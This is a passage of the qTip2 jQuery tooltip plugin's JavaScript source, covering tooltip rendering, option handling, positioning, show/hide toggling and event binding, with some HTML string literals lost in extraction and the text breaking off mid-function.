// Cache object this.cache = { event: {}, target: $(), disabled: FALSE, attr: attr, onTooltip: FALSE, lastClass: '' }; // Set the initial flags this.rendered = this.destroyed = this.disabled = this.waiting = this.hiddenDuringWait = this.positioning = this.triggering = FALSE; } PROTOTYPE = QTip.prototype; PROTOTYPE._when = function(deferreds) { return $.when.apply($, deferreds); }; PROTOTYPE.render = function(show) { if(this.rendered || this.destroyed) { return this; } // If tooltip has already been rendered, exit var self = this, options = this.options, cache = this.cache, elements = this.elements, text = options.content.text, title = options.content.title, button = options.content.button, posOptions = options.position, namespace = '.'+this._id+' ', deferreds = [], tooltip; // Add ARIA attributes to target $.attr(this.target[0], 'aria-describedby', this._id); // Create public position object that tracks current position corners cache.posClass = this._createPosClass( (this.position = { my: posOptions.my, at: posOptions.at }).my ); // Create tooltip element this.tooltip = elements.tooltip = tooltip = $('
    ', { 'id': this._id, 'class': [ NAMESPACE, CLASS_DEFAULT, options.style.classes, cache.posClass ].join(' '), 'width': options.style.width || '', 'height': options.style.height || '', 'tracking': posOptions.target === 'mouse' && posOptions.adjust.mouse, /* ARIA specific attributes */ 'role': 'alert', 'aria-live': 'polite', 'aria-atomic': FALSE, 'aria-describedby': this._id + '-content', 'aria-hidden': TRUE }) .toggleClass(CLASS_DISABLED, this.disabled) .attr(ATTR_ID, this.id) .data(NAMESPACE, this) .appendTo(posOptions.container) .append( // Create content element elements.content = $('
    ', { 'class': NAMESPACE + '-content', 'id': this._id + '-content', 'aria-atomic': TRUE }) ); // Set rendered flag and prevent redundant reposition calls for now this.rendered = -1; this.positioning = TRUE; // Create title... if(title) { this._createTitle(); // Update title only if its not a callback (called in toggle if so) if(!$.isFunction(title)) { deferreds.push( this._updateTitle(title, FALSE) ); } } // Create button if(button) { this._createButton(); } // Set proper rendered flag and update content if not a callback function (called in toggle) if(!$.isFunction(text)) { deferreds.push( this._updateContent(text, FALSE) ); } this.rendered = TRUE; // Setup widget classes this._setWidget(); // Initialize 'render' plugins $.each(PLUGINS, function(name) { var instance; if(this.initialize === 'render' && (instance = this(self))) { self.plugins[name] = instance; } }); // Unassign initial events and assign proper events this._unassignEvents(); this._assignEvents(); // When deferreds have completed this._when(deferreds).then(function() { // tooltiprender event self._trigger('render'); // Reset flags self.positioning = FALSE; // Show tooltip if not hidden during wait period if(!self.hiddenDuringWait && (options.show.ready || show)) { self.toggle(TRUE, cache.event, FALSE); } self.hiddenDuringWait = FALSE; }); // Expose API QTIP.api[this.id] = this; return this; }; PROTOTYPE.destroy = function(immediate) { // Set flag the signify destroy is taking place to plugins // and ensure it only gets destroyed once! if(this.destroyed) { return this.target; } function process() { if(this.destroyed) { return; } this.destroyed = TRUE; var target = this.target, title = target.attr(oldtitle), timer; // Destroy tooltip if rendered if(this.rendered) { this.tooltip.stop(1,0).find('*').remove().end().remove(); } // Destroy all plugins $.each(this.plugins, function(name) { this.destroy && this.destroy(); }); // Clear timers for(timer in this.timers) { clearTimeout(this.timers[timer]); } // Remove api object and ARIA attributes target.removeData(NAMESPACE) .removeAttr(ATTR_ID) .removeAttr(ATTR_HAS) .removeAttr('aria-describedby'); // Reset old title attribute if removed if(this.options.suppress && title) { target.attr('title', title).removeAttr(oldtitle); } // Remove qTip events associated with this API this._unassignEvents(); // Remove ID from used id objects, and delete object references // for better garbage collection and leak protection this.options = this.elements = this.cache = this.timers = this.plugins = this.mouse = NULL; // Delete epoxsed API object delete QTIP.api[this.id]; } // If an immediate destory is needed if((immediate !== TRUE || this.triggering === 'hide') && this.rendered) { this.tooltip.one('tooltiphidden', $.proxy(process, this)); !this.triggering && this.hide(); } // If we're not in the process of hiding... process else { process.call(this); } return this.target; }; ;function invalidOpt(a) { return a === NULL || $.type(a) !== 'object'; } function invalidContent(c) { return !( $.isFunction(c) || (c && c.attr) || c.length || ($.type(c) === 'object' && (c.jquery || c.then) )); } // Option object sanitizer function sanitizeOptions(opts) { var content, text, ajax, once; if(invalidOpt(opts)) { return FALSE; } if(invalidOpt(opts.metadata)) { opts.metadata = { type: opts.metadata }; } if('content' in opts) { content = opts.content; if(invalidOpt(content) || content.jquery || content.done) { content = opts.content = { text: (text = invalidContent(content) ? FALSE : content) }; } else { text = content.text; } // DEPRECATED - Old content.ajax plugin functionality // Converts it into the proper Deferred syntax if('ajax' in content) { ajax = content.ajax; once = ajax && ajax.once !== FALSE; delete content.ajax; content.text = function(event, api) { var loading = text || $(this).attr(api.options.content.attr) || 'Loading...', deferred = $.ajax( $.extend({}, ajax, { context: api }) ) .then(ajax.success, NULL, ajax.error) .then(function(content) { if(content && once) { api.set('content.text', content); } return content; }, function(xhr, status, error) { if(api.destroyed || xhr.status === 0) { return; } api.set('content.text', status + ': ' + error); }); return !once ? (api.set('content.text', loading), deferred) : loading; }; } if('title' in content) { if($.isPlainObject(content.title)) { content.button = content.title.button; content.title = content.title.text; } if(invalidContent(content.title || FALSE)) { content.title = FALSE; } } } if('position' in opts && invalidOpt(opts.position)) { opts.position = { my: opts.position, at: opts.position }; } if('show' in opts && invalidOpt(opts.show)) { opts.show = opts.show.jquery ? { target: opts.show } : opts.show === TRUE ? { ready: TRUE } : { event: opts.show }; } if('hide' in opts && invalidOpt(opts.hide)) { opts.hide = opts.hide.jquery ? { target: opts.hide } : { event: opts.hide }; } if('style' in opts && invalidOpt(opts.style)) { opts.style = { classes: opts.style }; } // Sanitize plugin options $.each(PLUGINS, function() { this.sanitize && this.sanitize(opts); }); return opts; } // Setup builtin .set() option checks CHECKS = PROTOTYPE.checks = { builtin: { // Core checks '^id$': function(obj, o, v, prev) { var id = v === TRUE ? QTIP.nextid : v, new_id = NAMESPACE + '-' + id; if(id !== FALSE && id.length > 0 && !$('#'+new_id).length) { this._id = new_id; if(this.rendered) { this.tooltip[0].id = this._id; this.elements.content[0].id = this._id + '-content'; this.elements.title[0].id = this._id + '-title'; } } else { obj[o] = prev; } }, '^prerender': function(obj, o, v) { v && !this.rendered && this.render(this.options.show.ready); }, // Content checks '^content.text$': function(obj, o, v) { this._updateContent(v); }, '^content.attr$': function(obj, o, v, prev) { if(this.options.content.text === this.target.attr(prev)) { this._updateContent( this.target.attr(v) ); } }, '^content.title$': function(obj, o, v) { // Remove title if content is null if(!v) { return this._removeTitle(); } // If title isn't already created, create it now and update v && !this.elements.title && this._createTitle(); this._updateTitle(v); }, '^content.button$': function(obj, o, v) { this._updateButton(v); }, '^content.title.(text|button)$': function(obj, o, v) { this.set('content.'+o, v); // Backwards title.text/button compat }, // Position checks '^position.(my|at)$': function(obj, o, v){ 'string' === typeof v && (this.position[o] = obj[o] = new CORNER(v, o === 'at')); }, '^position.container$': function(obj, o, v){ this.rendered && this.tooltip.appendTo(v); }, // Show checks '^show.ready$': function(obj, o, v) { v && (!this.rendered && this.render(TRUE) || this.toggle(TRUE)); }, // Style checks '^style.classes$': function(obj, o, v, p) { this.rendered && this.tooltip.removeClass(p).addClass(v); }, '^style.(width|height)': function(obj, o, v) { this.rendered && this.tooltip.css(o, v); }, '^style.widget|content.title': function() { this.rendered && this._setWidget(); }, '^style.def': function(obj, o, v) { this.rendered && this.tooltip.toggleClass(CLASS_DEFAULT, !!v); }, // Events check '^events.(render|show|move|hide|focus|blur)$': function(obj, o, v) { this.rendered && this.tooltip[($.isFunction(v) ? '' : 'un') + 'bind']('tooltip'+o, v); }, // Properties which require event reassignment '^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)': function() { if(!this.rendered) { return; } // Set tracking flag var posOptions = this.options.position; this.tooltip.attr('tracking', posOptions.target === 'mouse' && posOptions.adjust.mouse); // Reassign events this._unassignEvents(); this._assignEvents(); } } }; // Dot notation converter function convertNotation(options, notation) { var i = 0, obj, option = options, // Split notation into array levels = notation.split('.'); // Loop through while( option = option[ levels[i++] ] ) { if(i < levels.length) { obj = option; } } return [obj || options, levels.pop()]; } PROTOTYPE.get = function(notation) { if(this.destroyed) { return this; } var o = convertNotation(this.options, notation.toLowerCase()), result = o[0][ o[1] ]; return result.precedance ? result.string() : result; }; function setCallback(notation, args) { var category, rule, match; for(category in this.checks) { for(rule in this.checks[category]) { if(match = (new RegExp(rule, 'i')).exec(notation)) { args.push(match); if(category === 'builtin' || this.plugins[category]) { this.checks[category][rule].apply( this.plugins[category] || this, args ); } } } } } var rmove = /^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i, rrender = /^prerender|show\.ready/i; PROTOTYPE.set = function(option, value) { if(this.destroyed) { return this; } var rendered = this.rendered, reposition = FALSE, options = this.options, checks = this.checks, name; // Convert singular option/value pair into object form if('string' === typeof option) { name = option; option = {}; option[name] = value; } else { option = $.extend({}, option); } // Set all of the defined options to their new values $.each(option, function(notation, value) { if(rendered && rrender.test(notation)) { delete option[notation]; return; } // Set new obj value var obj = convertNotation(options, notation.toLowerCase()), previous; previous = obj[0][ obj[1] ]; obj[0][ obj[1] ] = value && value.nodeType ? $(value) : value; // Also check if we need to reposition reposition = rmove.test(notation) || reposition; // Set the new params for the callback option[notation] = [obj[0], obj[1], value, previous]; }); // Re-sanitize options sanitizeOptions(options); /* * Execute any valid callbacks for the set options * Also set positioning flag so we don't get loads of redundant repositioning calls. */ this.positioning = TRUE; $.each(option, $.proxy(setCallback, this)); this.positioning = FALSE; // Update position if needed if(this.rendered && this.tooltip[0].offsetWidth > 0 && reposition) { this.reposition( options.position.target === 'mouse' ? NULL : this.cache.event ); } return this; }; ;PROTOTYPE._update = function(content, element, reposition) { var self = this, cache = this.cache; // Make sure tooltip is rendered and content is defined. If not return if(!this.rendered || !content) { return FALSE; } // Use function to parse content if($.isFunction(content)) { content = content.call(this.elements.target, cache.event, this) || ''; } // Handle deferred content if($.isFunction(content.then)) { cache.waiting = TRUE; return content.then(function(c) { cache.waiting = FALSE; return self._update(c, element); }, NULL, function(e) { return self._update(e, element); }); } // If content is null... return false if(content === FALSE || (!content && content !== '')) { return FALSE; } // Append new content if its a DOM array and show it if hidden if(content.jquery && content.length > 0) { element.empty().append( content.css({ display: 'block', visibility: 'visible' }) ); } // Content is a regular string, insert the new content else { element.html(content); } // Wait for content to be loaded, and reposition return this._waitForContent(element).then(function(images) { if(self.rendered && self.tooltip[0].offsetWidth > 0) { self.reposition(cache.event, !images.length); } }); }; PROTOTYPE._waitForContent = function(element) { var cache = this.cache; // Set flag cache.waiting = TRUE; // If imagesLoaded is included, ensure images have loaded and return promise return ( $.fn.imagesLoaded ? element.imagesLoaded() : $.Deferred().resolve([]) ) .done(function() { cache.waiting = FALSE; }) .promise(); }; PROTOTYPE._updateContent = function(content, reposition) { this._update(content, this.elements.content, reposition); }; PROTOTYPE._updateTitle = function(content, reposition) { if(this._update(content, this.elements.title, reposition) === FALSE) { this._removeTitle(FALSE); } }; PROTOTYPE._createTitle = function() { var elements = this.elements, id = this._id+'-title'; // Destroy previous title element, if present if(elements.titlebar) { this._removeTitle(); } // Create title bar and title elements elements.titlebar = $('
    ', { 'class': NAMESPACE + '-titlebar ' + (this.options.style.widget ? createWidgetClass('header') : '') }) .append( elements.title = $('
    ', { 'id': id, 'class': NAMESPACE + '-title', 'aria-atomic': TRUE }) ) .insertBefore(elements.content) // Button-specific events .delegate('.qtip-close', 'mousedown keydown mouseup keyup mouseout', function(event) { $(this).toggleClass('ui-state-active ui-state-focus', event.type.substr(-4) === 'down'); }) .delegate('.qtip-close', 'mouseover mouseout', function(event){ $(this).toggleClass('ui-state-hover', event.type === 'mouseover'); }); // Create button if enabled if(this.options.content.button) { this._createButton(); } }; PROTOTYPE._removeTitle = function(reposition) { var elements = this.elements; if(elements.title) { elements.titlebar.remove(); elements.titlebar = elements.title = elements.button = NULL; // Reposition if enabled if(reposition !== FALSE) { this.reposition(); } } }; ;PROTOTYPE._createPosClass = function(my) { return NAMESPACE + '-pos-' + (my || this.options.position.my).abbrev(); }; PROTOTYPE.reposition = function(event, effect) { if(!this.rendered || this.positioning || this.destroyed) { return this; } // Set positioning flag this.positioning = TRUE; var cache = this.cache, tooltip = this.tooltip, posOptions = this.options.position, target = posOptions.target, my = posOptions.my, at = posOptions.at, viewport = posOptions.viewport, container = posOptions.container, adjust = posOptions.adjust, method = adjust.method.split(' '), tooltipWidth = tooltip.outerWidth(FALSE), tooltipHeight = tooltip.outerHeight(FALSE), targetWidth = 0, targetHeight = 0, type = tooltip.css('position'), position = { left: 0, top: 0 }, visible = tooltip[0].offsetWidth > 0, isScroll = event && event.type === 'scroll', win = $(window), doc = container[0].ownerDocument, mouse = this.mouse, pluginCalculations, offset, adjusted, newClass; // Check if absolute position was passed if($.isArray(target) && target.length === 2) { // Force left top and set position at = { x: LEFT, y: TOP }; position = { left: target[0], top: target[1] }; } // Check if mouse was the target else if(target === 'mouse') { // Force left top to allow flipping at = { x: LEFT, y: TOP }; // Use the mouse origin that caused the show event, if distance hiding is enabled if((!adjust.mouse || this.options.hide.distance) && cache.origin && cache.origin.pageX) { event = cache.origin; } // Use cached event for resize/scroll events else if(!event || (event && (event.type === 'resize' || event.type === 'scroll'))) { event = cache.event; } // Otherwise, use the cached mouse coordinates if available else if(mouse && mouse.pageX) { event = mouse; } // Calculate body and container offset and take them into account below if(type !== 'static') { position = container.offset(); } if(doc.body.offsetWidth !== (window.innerWidth || doc.documentElement.clientWidth)) { offset = $(document.body).offset(); } // Use event coordinates for position position = { left: event.pageX - position.left + (offset && offset.left || 0), top: event.pageY - position.top + (offset && offset.top || 0) }; // Scroll events are a pain, some browsers if(adjust.mouse && isScroll && mouse) { position.left -= (mouse.scrollX || 0) - win.scrollLeft(); position.top -= (mouse.scrollY || 0) - win.scrollTop(); } } // Target wasn't mouse or absolute... else { // Check if event targetting is being used if(target === 'event') { if(event && event.target && event.type !== 'scroll' && event.type !== 'resize') { cache.target = $(event.target); } else if(!event.target) { cache.target = this.elements.target; } } else if(target !== 'event'){ cache.target = $(target.jquery ? target : this.elements.target); } target = cache.target; // Parse the target into a jQuery object and make sure there's an element present target = $(target).eq(0); if(target.length === 0) { return this; } // Check if window or document is the target else if(target[0] === document || target[0] === window) { targetWidth = BROWSER.iOS ? window.innerWidth : target.width(); targetHeight = BROWSER.iOS ? window.innerHeight : target.height(); if(target[0] === window) { position = { top: (viewport || target).scrollTop(), left: (viewport || target).scrollLeft() }; } } // Check if the target is an element else if(PLUGINS.imagemap && target.is('area')) { pluginCalculations = PLUGINS.imagemap(this, target, at, PLUGINS.viewport ? method : FALSE); } // Check if the target is an SVG element else if(PLUGINS.svg && target && target[0].ownerSVGElement) { pluginCalculations = PLUGINS.svg(this, target, at, PLUGINS.viewport ? method : FALSE); } // Otherwise use regular jQuery methods else { targetWidth = target.outerWidth(FALSE); targetHeight = target.outerHeight(FALSE); position = target.offset(); } // Parse returned plugin values into proper variables if(pluginCalculations) { targetWidth = pluginCalculations.width; targetHeight = pluginCalculations.height; offset = pluginCalculations.offset; position = pluginCalculations.position; } // Adjust position to take into account offset parents position = this.reposition.offset(target, position, container); // Adjust for position.fixed tooltips (and also iOS scroll bug in v3.2-4.0 & v4.3-4.3.2) if((BROWSER.iOS > 3.1 && BROWSER.iOS < 4.1) || (BROWSER.iOS >= 4.3 && BROWSER.iOS < 4.33) || (!BROWSER.iOS && type === 'fixed') ){ position.left -= win.scrollLeft(); position.top -= win.scrollTop(); } // Adjust position relative to target if(!pluginCalculations || (pluginCalculations && pluginCalculations.adjustable !== FALSE)) { position.left += at.x === RIGHT ? targetWidth : at.x === CENTER ? targetWidth / 2 : 0; position.top += at.y === BOTTOM ? targetHeight : at.y === CENTER ? targetHeight / 2 : 0; } } // Adjust position relative to tooltip position.left += adjust.x + (my.x === RIGHT ? -tooltipWidth : my.x === CENTER ? -tooltipWidth / 2 : 0); position.top += adjust.y + (my.y === BOTTOM ? -tooltipHeight : my.y === CENTER ? -tooltipHeight / 2 : 0); // Use viewport adjustment plugin if enabled if(PLUGINS.viewport) { adjusted = position.adjusted = PLUGINS.viewport( this, position, posOptions, targetWidth, targetHeight, tooltipWidth, tooltipHeight ); // Apply offsets supplied by positioning plugin (if used) if(offset && adjusted.left) { position.left += offset.left; } if(offset && adjusted.top) { position.top += offset.top; } // Apply any new 'my' position if(adjusted.my) { this.position.my = adjusted.my; } } // Viewport adjustment is disabled, set values to zero else { position.adjusted = { left: 0, top: 0 }; } // Set tooltip position class if it's changed if(cache.posClass !== (newClass = this._createPosClass(this.position.my))) { tooltip.removeClass(cache.posClass).addClass( (cache.posClass = newClass) ); } // tooltipmove event if(!this._trigger('move', [position, viewport.elem || viewport], event)) { return this; } delete position.adjusted; // If effect is disabled, target it mouse, no animation is defined or positioning gives NaN out, set CSS directly if(effect === FALSE || !visible || isNaN(position.left) || isNaN(position.top) || target === 'mouse' || !$.isFunction(posOptions.effect)) { tooltip.css(position); } // Use custom function if provided else if($.isFunction(posOptions.effect)) { posOptions.effect.call(tooltip, this, $.extend({}, position)); tooltip.queue(function(next) { // Reset attributes to avoid cross-browser rendering bugs $(this).css({ opacity: '', height: '' }); if(BROWSER.ie) { this.style.removeAttribute('filter'); } next(); }); } // Set positioning flag this.positioning = FALSE; return this; }; // Custom (more correct for qTip!) offset calculator PROTOTYPE.reposition.offset = function(elem, pos, container) { if(!container[0]) { return pos; } var ownerDocument = $(elem[0].ownerDocument), quirks = !!BROWSER.ie && document.compatMode !== 'CSS1Compat', parent = container[0], scrolled, position, parentOffset, overflow; function scroll(e, i) { pos.left += i * e.scrollLeft(); pos.top += i * e.scrollTop(); } // Compensate for non-static containers offset do { if((position = $.css(parent, 'position')) !== 'static') { if(position === 'fixed') { parentOffset = parent.getBoundingClientRect(); scroll(ownerDocument, -1); } else { parentOffset = $(parent).position(); parentOffset.left += (parseFloat($.css(parent, 'borderLeftWidth')) || 0); parentOffset.top += (parseFloat($.css(parent, 'borderTopWidth')) || 0); } pos.left -= parentOffset.left + (parseFloat($.css(parent, 'marginLeft')) || 0); pos.top -= parentOffset.top + (parseFloat($.css(parent, 'marginTop')) || 0); // If this is the first parent element with an overflow of "scroll" or "auto", store it if(!scrolled && (overflow = $.css(parent, 'overflow')) !== 'hidden' && overflow !== 'visible') { scrolled = $(parent); } } } while((parent = parent.offsetParent)); // Compensate for containers scroll if it also has an offsetParent (or in IE quirks mode) if(scrolled && (scrolled[0] !== ownerDocument[0] || quirks)) { scroll(scrolled, 1); } return pos; }; // Corner class var C = (CORNER = PROTOTYPE.reposition.Corner = function(corner, forceY) { corner = ('' + corner).replace(/([A-Z])/, ' $1').replace(/middle/gi, CENTER).toLowerCase(); this.x = (corner.match(/left|right/i) || corner.match(/center/) || ['inherit'])[0].toLowerCase(); this.y = (corner.match(/top|bottom|center/i) || ['inherit'])[0].toLowerCase(); this.forceY = !!forceY; var f = corner.charAt(0); this.precedance = (f === 't' || f === 'b' ? Y : X); }).prototype; C.invert = function(z, center) { this[z] = this[z] === LEFT ? RIGHT : this[z] === RIGHT ? LEFT : center || this[z]; }; C.string = function(join) { var x = this.x, y = this.y; var result = x !== y ? (x === 'center' || y !== 'center' && (this.precedance === Y || this.forceY) ? [y,x] : [x,y] ) : [x]; return join !== false ? result.join(' ') : result; }; C.abbrev = function() { var result = this.string(false); return result[0].charAt(0) + (result[1] && result[1].charAt(0) || ''); }; C.clone = function() { return new CORNER( this.string(), this.forceY ); }; ; PROTOTYPE.toggle = function(state, event) { var cache = this.cache, options = this.options, tooltip = this.tooltip; // Try to prevent flickering when tooltip overlaps show element if(event) { if((/over|enter/).test(event.type) && cache.event && (/out|leave/).test(cache.event.type) && options.show.target.add(event.target).length === options.show.target.length && tooltip.has(event.relatedTarget).length) { return this; } // Cache event cache.event = $.event.fix(event); } // If we're currently waiting and we've just hidden... stop it this.waiting && !state && (this.hiddenDuringWait = TRUE); // Render the tooltip if showing and it isn't already if(!this.rendered) { return state ? this.render(1) : this; } else if(this.destroyed || this.disabled) { return this; } var type = state ? 'show' : 'hide', opts = this.options[type], otherOpts = this.options[ !state ? 'show' : 'hide' ], posOptions = this.options.position, contentOptions = this.options.content, width = this.tooltip.css('width'), visible = this.tooltip.is(':visible'), animate = state || opts.target.length === 1, sameTarget = !event || opts.target.length < 2 || cache.target[0] === event.target, identicalState, allow, showEvent, delay, after; // Detect state if valid one isn't provided if((typeof state).search('boolean|number')) { state = !visible; } // Check if the tooltip is in an identical state to the new would-be state identicalState = !tooltip.is(':animated') && visible === state && sameTarget; // Fire tooltip(show/hide) event and check if destroyed allow = !identicalState ? !!this._trigger(type, [90]) : NULL; // Check to make sure the tooltip wasn't destroyed in the callback if(this.destroyed) { return this; } // If the user didn't stop the method prematurely and we're showing the tooltip, focus it if(allow !== FALSE && state) { this.focus(event); } // If the state hasn't changed or the user stopped it, return early if(!allow || identicalState) { return this; } // Set ARIA hidden attribute $.attr(tooltip[0], 'aria-hidden', !!!state); // Execute state specific properties if(state) { // Store show origin coordinates this.mouse && (cache.origin = $.event.fix(this.mouse)); // Update tooltip content & title if it's a dynamic function if($.isFunction(contentOptions.text)) { this._updateContent(contentOptions.text, FALSE); } if($.isFunction(contentOptions.title)) { this._updateTitle(contentOptions.title, FALSE); } // Cache mousemove events for positioning purposes (if not already tracking) if(!trackingBound && posOptions.target === 'mouse' && posOptions.adjust.mouse) { $(document).bind('mousemove.'+NAMESPACE, this._storeMouse); trackingBound = TRUE; } // Update the tooltip position (set width first to prevent viewport/max-width issues) if(!width) { tooltip.css('width', tooltip.outerWidth(FALSE)); } this.reposition(event, arguments[2]); if(!width) { tooltip.css('width', ''); } // Hide other tooltips if tooltip is solo if(!!opts.solo) { (typeof opts.solo === 'string' ? $(opts.solo) : $(SELECTOR, opts.solo)) .not(tooltip).not(opts.target).qtip('hide', $.Event('tooltipsolo')); } } else { // Clear show timer if we're hiding clearTimeout(this.timers.show); // Remove cached origin on hide delete cache.origin; // Remove mouse tracking event if not needed (all tracking qTips are hidden) if(trackingBound && !$(SELECTOR+'[tracking="true"]:visible', opts.solo).not(tooltip).length) { $(document).unbind('mousemove.'+NAMESPACE); trackingBound = FALSE; } // Blur the tooltip this.blur(event); } // Define post-animation, state specific properties after = $.proxy(function() { if(state) { // Prevent antialias from disappearing in IE by removing filter if(BROWSER.ie) { tooltip[0].style.removeAttribute('filter'); } // Remove overflow setting to prevent tip bugs tooltip.css('overflow', ''); // Autofocus elements if enabled if('string' === typeof opts.autofocus) { $(this.options.show.autofocus, tooltip).focus(); } // If set, hide tooltip when inactive for delay period this.options.show.target.trigger('qtip-'+this.id+'-inactive'); } else { // Reset CSS states tooltip.css({ display: '', visibility: '', opacity: '', left: '', top: '' }); } // tooltipvisible/tooltiphidden events this._trigger(state ? 'visible' : 'hidden'); }, this); // If no effect type is supplied, use a simple toggle if(opts.effect === FALSE || animate === FALSE) { tooltip[ type ](); after(); } // Use custom function if provided else if($.isFunction(opts.effect)) { tooltip.stop(1, 1); opts.effect.call(tooltip, this); tooltip.queue('fx', function(n) { after(); n(); }); } // Use basic fade function by default else { tooltip.fadeTo(90, state ? 1 : 0, after); } // If inactive hide method is set, active it if(state) { opts.target.trigger('qtip-'+this.id+'-inactive'); } return this; }; PROTOTYPE.show = function(event) { return this.toggle(TRUE, event); }; PROTOTYPE.hide = function(event) { return this.toggle(FALSE, event); }; ;PROTOTYPE.focus = function(event) { if(!this.rendered || this.destroyed) { return this; } var qtips = $(SELECTOR), tooltip = this.tooltip, curIndex = parseInt(tooltip[0].style.zIndex, 10), newIndex = QTIP.zindex + qtips.length, focusedElem; // Only update the z-index if it has changed and tooltip is not already focused if(!tooltip.hasClass(CLASS_FOCUS)) { // tooltipfocus event if(this._trigger('focus', [newIndex], event)) { // Only update z-index's if they've changed if(curIndex !== newIndex) { // Reduce our z-index's and keep them properly ordered qtips.each(function() { if(this.style.zIndex > curIndex) { this.style.zIndex = this.style.zIndex - 1; } }); // Fire blur event for focused tooltip qtips.filter('.' + CLASS_FOCUS).qtip('blur', event); } // Set the new z-index tooltip.addClass(CLASS_FOCUS)[0].style.zIndex = newIndex; } } return this; }; PROTOTYPE.blur = function(event) { if(!this.rendered || this.destroyed) { return this; } // Set focused status to FALSE this.tooltip.removeClass(CLASS_FOCUS); // tooltipblur event this._trigger('blur', [ this.tooltip.css('zIndex') ], event); return this; }; ;PROTOTYPE.disable = function(state) { if(this.destroyed) { return this; } // If 'toggle' is passed, toggle the current state if(state === 'toggle') { state = !(this.rendered ? this.tooltip.hasClass(CLASS_DISABLED) : this.disabled); } // Disable if no state passed else if('boolean' !== typeof state) { state = TRUE; } if(this.rendered) { this.tooltip.toggleClass(CLASS_DISABLED, state) .attr('aria-disabled', state); } this.disabled = !!state; return this; }; PROTOTYPE.enable = function() { return this.disable(FALSE); }; ;PROTOTYPE._createButton = function() { var self = this, elements = this.elements, tooltip = elements.tooltip, button = this.options.content.button, isString = typeof button === 'string', close = isString ? button : 'Close tooltip'; if(elements.button) { elements.button.remove(); } // Use custom button if one was supplied by user, else use default if(button.jquery) { elements.button = button; } else { elements.button = $('', { 'class': 'qtip-close ' + (this.options.style.widget ? '' : NAMESPACE+'-icon'), 'title': close, 'aria-label': close }) .prepend( $('', { 'class': 'ui-icon ui-icon-close', 'html': '×' }) ); } // Create button and setup attributes elements.button.appendTo(elements.titlebar || tooltip) .attr('role', 'button') .click(function(event) { if(!tooltip.hasClass(CLASS_DISABLED)) { self.hide(event); } return FALSE; }); }; PROTOTYPE._updateButton = function(button) { // Make sure tooltip is rendered and if not, return if(!this.rendered) { return FALSE; } var elem = this.elements.button; if(button) { this._createButton(); } else { elem.remove(); } }; ;// Widget class creator function createWidgetClass(cls) { return WIDGET.concat('').join(cls ? '-'+cls+' ' : ' '); } // Widget class setter method PROTOTYPE._setWidget = function() { var on = this.options.style.widget, elements = this.elements, tooltip = elements.tooltip, disabled = tooltip.hasClass(CLASS_DISABLED); tooltip.removeClass(CLASS_DISABLED); CLASS_DISABLED = on ? 'ui-state-disabled' : 'qtip-disabled'; tooltip.toggleClass(CLASS_DISABLED, disabled); tooltip.toggleClass('ui-helper-reset '+createWidgetClass(), on).toggleClass(CLASS_DEFAULT, this.options.style.def && !on); if(elements.content) { elements.content.toggleClass( createWidgetClass('content'), on); } if(elements.titlebar) { elements.titlebar.toggleClass( createWidgetClass('header'), on); } if(elements.button) { elements.button.toggleClass(NAMESPACE+'-icon', !on); } }; ;function delay(callback, duration) { // If tooltip has displayed, start hide timer if(duration > 0) { return setTimeout( $.proxy(callback, this), duration ); } else{ callback.call(this); } } function showMethod(event) { if(this.tooltip.hasClass(CLASS_DISABLED)) { return; } // Clear hide timers clearTimeout(this.timers.show); clearTimeout(this.timers.hide); // Start show timer this.timers.show = delay.call(this, function() { this.toggle(TRUE, event); }, this.options.show.delay ); } function hideMethod(event) { if(this.tooltip.hasClass(CLASS_DISABLED) || this.destroyed) { return; } // Check if new target was actually the tooltip element var relatedTarget = $(event.relatedTarget), ontoTooltip = relatedTarget.closest(SELECTOR)[0] === this.tooltip[0], ontoTarget = relatedTarget[0] === this.options.show.target[0]; // Clear timers and stop animation queue clearTimeout(this.timers.show); clearTimeout(this.timers.hide); // Prevent hiding if tooltip is fixed and event target is the tooltip. // Or if mouse positioning is enabled and cursor momentarily overlaps if(this !== relatedTarget[0] && (this.options.position.target === 'mouse' && ontoTooltip) || (this.options.hide.fixed && ( (/mouse(out|leave|move)/).test(event.type) && (ontoTooltip || ontoTarget)) )) { try { event.preventDefault(); event.stopImmediatePropagation(); } catch(e) {} return; } // If tooltip has displayed, start hide timer this.timers.hide = delay.call(this, function() { this.toggle(FALSE, event); }, this.options.hide.delay, this ); } function inactiveMethod(event) { if(this.tooltip.hasClass(CLASS_DISABLED) || !this.options.hide.inactive) { return; } // Clear timer clearTimeout(this.timers.inactive); this.timers.inactive = delay.call(this, function(){ this.hide(event); }, this.options.hide.inactive ); } function repositionMethod(event) { if(this.rendered && this.tooltip[0].offsetWidth > 0) { this.reposition(event); } } // Store mouse coordinates PROTOTYPE._storeMouse = function(event) { (this.mouse = $.event.fix(event)).type = 'mousemove'; return this; }; // Bind events PROTOTYPE._bind = function(targets, events, method, suffix, context) { if(!targets || !method || !events.length) { return; } var ns = '.' + this._id + (suffix ? '-'+suffix : ''); $(targets).bind( (events.split ? events : events.join(ns + ' ')) + ns, $.proxy(method, context || this) ); return this; }; PROTOTYPE._unbind = function(targets, suffix) { targets && $(targets).unbind('.' + this._id + (suffix ? '-'+suffix : '')); return this; }; // Global delegation helper function delegate(selector, events, method) { $(document.body).delegate(selector, (events.split ? events : events.join('.'+NAMESPACE + ' ')) + '.'+NAMESPACE, function() { var api = QTIP.api[ $.attr(this, ATTR_ID) ]; api && !api.disabled && method.apply(api, arguments); } ); } // Event trigger PROTOTYPE._trigger = function(type, args, event) { var callback = $.Event('tooltip'+type); callback.originalEvent = (event && $.extend({}, event)) || this.cache.event || NULL; this.triggering = type; this.tooltip.trigger(callback, [this].concat(args || [])); this.triggering = FALSE; return !callback.isDefaultPrevented(); }; PROTOTYPE._bindEvents = function(showEvents, hideEvents, showTargets, hideTargets, showMethod, hideMethod) { // Get tasrgets that lye within both var similarTargets = showTargets.filter( hideTargets ).add( hideTargets.filter(showTargets) ), toggleEvents = []; // If hide and show targets are the same... if(similarTargets.length) { // Filter identical show/hide events $.each(hideEvents, function(i, type) { var showIndex = $.inArray(type, showEvents); // Both events are identical, remove from both hide and show events // and append to toggleEvents showIndex > -1 && toggleEvents.push( showEvents.splice( showIndex, 1 )[0] ); }); // Toggle events are special case of identical show/hide events, which happen in sequence if(toggleEvents.length) { // Bind toggle events to the similar targets this._bind(similarTargets, toggleEvents, function(event) { var state = this.rendered ? this.tooltip[0].offsetWidth > 0 : false; (state ? hideMethod : showMethod).call(this, event); }); // Remove the similar targets from the regular show/hide bindings showTargets = showTargets.not(similarTargets); hideTargets = 